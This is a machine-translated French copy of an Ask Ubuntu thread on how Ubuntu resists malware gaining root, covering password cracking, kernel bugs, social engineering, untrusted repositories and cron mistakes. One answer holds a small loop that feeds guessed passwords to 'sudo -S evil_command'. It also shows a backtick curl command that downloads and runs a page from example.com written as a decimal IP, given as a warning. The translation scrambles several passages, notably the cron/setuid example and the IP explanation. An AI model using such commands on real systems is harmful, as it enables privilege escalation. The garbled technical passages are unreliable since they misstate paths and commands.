Comment le système est-il sécurisé?

24

Je comprends que si des logiciels malveillants entraient dans un système Linux, ils obtiendraient tout au plus un privilège de niveau utilisateur et ruineraient tout ce que l'utilisateur atteindrait, à savoir les fichiers de l'utilisateur.

Mais qu'est-ce qui empêche les malwares d'obtenir un accès au niveau racine? Ne peut-il pas en quelque sorte casser le mot de passe de l'intérieur?

    
posée Oxwivi 25.02.2011 - 19:38
la source

2 réponses

20

C'est une question complexe. Il y a beaucoup de couches de sécurité différentes dans un système Ubuntu, des structures complexes comme AppArmor aux variables du noyau humbles comme mmap_min_addr . Vous pouvez ajouter des fonctionnalités de noyau comme la randomisation de la mémoire dans le mix. Vous pouvez en trouver une liste accompagnée d'explications rapides sur le Wiki Ubuntu .

Un autre facteur important est que les mises à jour sont à la fois rapides et faciles. La plupart des ordinateurs seront donc mis à jour avec les derniers correctifs de sécurité.

Pour autant que je sache, un attaquant ayant obtenu un accès local à votre ordinateur dispose de trois méthodes pour faire évoluer les privilèges du noyau:

  1. Casse le mot de passe. Mais cela va être vraiment difficile, le mot de passe est stocké crypté, en utilisant des algorithmes sans défaut connu. Il faudra des années pour le résoudre.

  2. Bug dans le noyau. Mais toutes les fonctionnalités de sécurité du noyau vont faire obstacle.

  3. Trick l'utilisateur à donner le mot de passe, c'est à dire l'ingénierie sociale. Présentez simplement un dialogue de faux mot de passe ou utilisez un autre truc. C'est le moyen le plus simple de le faire.

Le troisième point est la plus faible vulnérabilité en ce moment.

    
réponse donnée Javier Rivera 25.02.2011 - 20:37
la source
15

Cracking le mot de passe root lui-même n'est pas possible, car Ubuntu a désactivé l'utilisateur root par défaut. Cependant, si votre utilisateur peut devenir root via sudo et que votre mot de passe est facile à deviner / brute-force, vous avez un système non sécurisé. Exemple de script essayant de tester un mot de passe:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

L'ajout d'un référentiel non approuvé permet d'installer les programmes de ce référentiel. Même si vous n'installez pas explicitement une application comme sudo apt-get install [app-from-repo] , le référentiel peut toujours affecter d'autres programmes en faisant croire à Ubuntu que le référentiel contient une version plus récente d'un programme donné.

Le processus de mise à jour est exécuté en tant que root, sinon les fichiers ne peuvent pas être écrits dans /usr/bin ou /etc . Un déclencheur d'installation est également exécuté en tant que root et peut s'exécuter de manière arbitraire et éventuellement avec des commandes nuisibles. Maintenant, ne vous inquiétez pas, une action manuelle est nécessaire pour mettre à jour les programmes et les dépôts Ubuntu sont sécurisés. Les logiciels fermés comme Windows ne peuvent jamais être totalement fiables car vous ne pouvez pas rechercher le code malveillant dans la source, mais vous pouvez consulter la source de l'application Ubuntu si nécessaire (ne s'applique pas aux programmes propriétaires tels que sun-java6 ou Flash). / p>

Comme mentionné par Javier Rivera, les bogues du noyau peuvent conduire à l'exécution de code arbitraire, mais les logiciels buggés sont peut-être aussi dangereux, en particulier les binaires racine buggé% coexistant (root) et les autres programmes exécutés. en tant que root.

Vous pouvez créer des failles de sécurité sur votre système si vous ne faites pas attention à ce que vous faites. Par exemple, sans bien comprendre le concept de cronjobs, vous avez ajouté un job cron à setsuid qui exécute un programme dans votre dossier personnel (par exemple, /etc/cron.daily . Si vous pouvez écrire le fichier myscript.sh en écriture, vous pouvez le supprimer). , un exploit pourrait placer du code malveillant dans /bin/sh /home/your-username/myscript.sh qui serait exécuté en tant que root (augmentation de privilèges).

Pour rester en sécurité, utilisez votre esprit! Ne lancez pas de commandes provenant de sources non fiables si vous ne savez pas ce qu’il fait. Si quelqu'un dit exécuter myscript.sh avec des back-ticks, ne le faites pas. 3221233674 est un autre moyen d'écrire 'curl 3221233674' (IP de example.com). Donc, ce serait égal à:

'curl http://example.com/'

Ces back-ticks provoquent l'exécution de la sortie en tant que commandes shell. En clair, "Téléchargez la page lien et essayez d’exécuter la page téléchargée".

Au début, vous ne verriez pas quelque chose de malveillant dans la commande donnée. Mais maintenant, vous savez que cela peut être abusé aussi.

Vérifiez toujours les commandes / scripts provenant de sources non fiables, comme Internet.

    
réponse donnée Lekensteyn 25.02.2011 - 22:14
la source

Lire d'autres questions sur les étiquettes